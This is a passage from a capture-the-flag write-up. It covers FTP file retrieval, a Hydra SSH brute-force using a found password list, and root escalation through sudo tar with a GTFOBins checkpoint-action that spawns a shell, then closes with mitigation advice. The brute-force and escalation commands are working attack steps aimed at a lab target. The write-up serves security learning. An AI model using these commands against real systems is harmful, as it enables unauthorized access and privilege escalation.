  2. List the contents of the current directory with the dir FTP command.

We see two files, including the task.txt file. Let us download them to our machine.

  1. Download both files by using the get FTP command. get task.txt and the same for locks.txt, just in case we need it in the future.

  2. Read the contents of the downloaded file. The file can be found in the directory from which the terminal was running when we started the FTP session. We can just click on them or use the cat command. cat task.txt

Solution: The author of the task list is

lin

3.1 The locks.txt file

To satisfy our curiosity, let's check what the locks.txt file contained:

cat locks.txt

If you looked at it, then you know: it could be assumed that we are looking at a list of passwords (in plaintext!). Other way of saying this is that we found a wordlist.

Task 4: What service can you bruteforce with the text file found?

This refers to the locks file, which we examined in the previous task. Knowing the open ports and knowing the contents of locks.txt:

Solution: The service we can bruteforce is

SSH

Task 5: What is the users password?

There are several ways to brute-force a SSH password. We will use the Hydra tool in this instance.

  1. Brute-force lin's SSH password with Hydra: hydra -l lin -P /path/to/locks.txt MACHINE_IP ssh Be sure to change the path to locks.txt to the corresponding one on your machine.

The wordlist is quite short, so it won't take long until it finds lin's current password.

We now have access to the target machine.

Task 6: user.txt

  1. Connect to the target machine with lin's user and password (obtained on the previous step):

    ssh lin@MACHINE_IP
    
  2. Use the ls command to list the contents of lin's Desktop directory

We will find a users.txt file. Read it with cat and you will find the flag.

Task 7: root.txt

We can't change to /root/ because lin does not have the permissions to do so.

  1. Check what commands lin can run as root. There is more than one way to do this, the simplest one is:

    sudo -l -l
    

    It will ask us to input lin's password (which we know). Seems that lin can run /bin/tar as root user.

  2. Find a way to escalate privileges using tar. GTFObins is a good source for this. I used the following command:

    sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
    

    This allowed me to run a shell as the root user.

  3. Change your directory to /root/ and list the contents. We will find the root.txt file, which contains the final flag.

Congratulations! The room is finished.

7.1 GTFOBins

If you want to investigate a bit more, when a /bin/ file appears as a result of the first command, look for the “Sudo” section on its specific GTFOBin. For more, it has a collection of commands that can be used to escalate privileges, transfer files, and break out of shells, among other things.


How it could have been avoided

There were several vulnerabilities we took advantage of in this machine. Let us list them and give one solution to each: – Do not have sensitive ports open, or filter them: it is better to open ports only when needed. Even better, have them filtered – if the FTP or SSH port only allowed trusted IP addresses to connect to it, we would not have been able to use it like we did. – Do not allow anonymous connection to FTP servers: if the machine contains sensitive files and the port is open. This is how we exfiltrated lin's password. – Do not store passwords in plaintext: this is CRUCIAL! lin had stored the passwords in plaintext. No matter how strong they were, thanks to this, we were able to use them as a wordlist and connect to the FTP and SSH servers. Only store passwords in a secure hash format, and salted. – Do not allow unprivileged users to run files as root: this misconfiguration is how we escalated privileges. If something absolutely needed to be executed by unprivileged users with elevated privileges, add a policy to the /etc/sudoers.d/ directory, so at least, in case of an incident, the user who executed a malicious command will be logged, instead of being logged as “root.”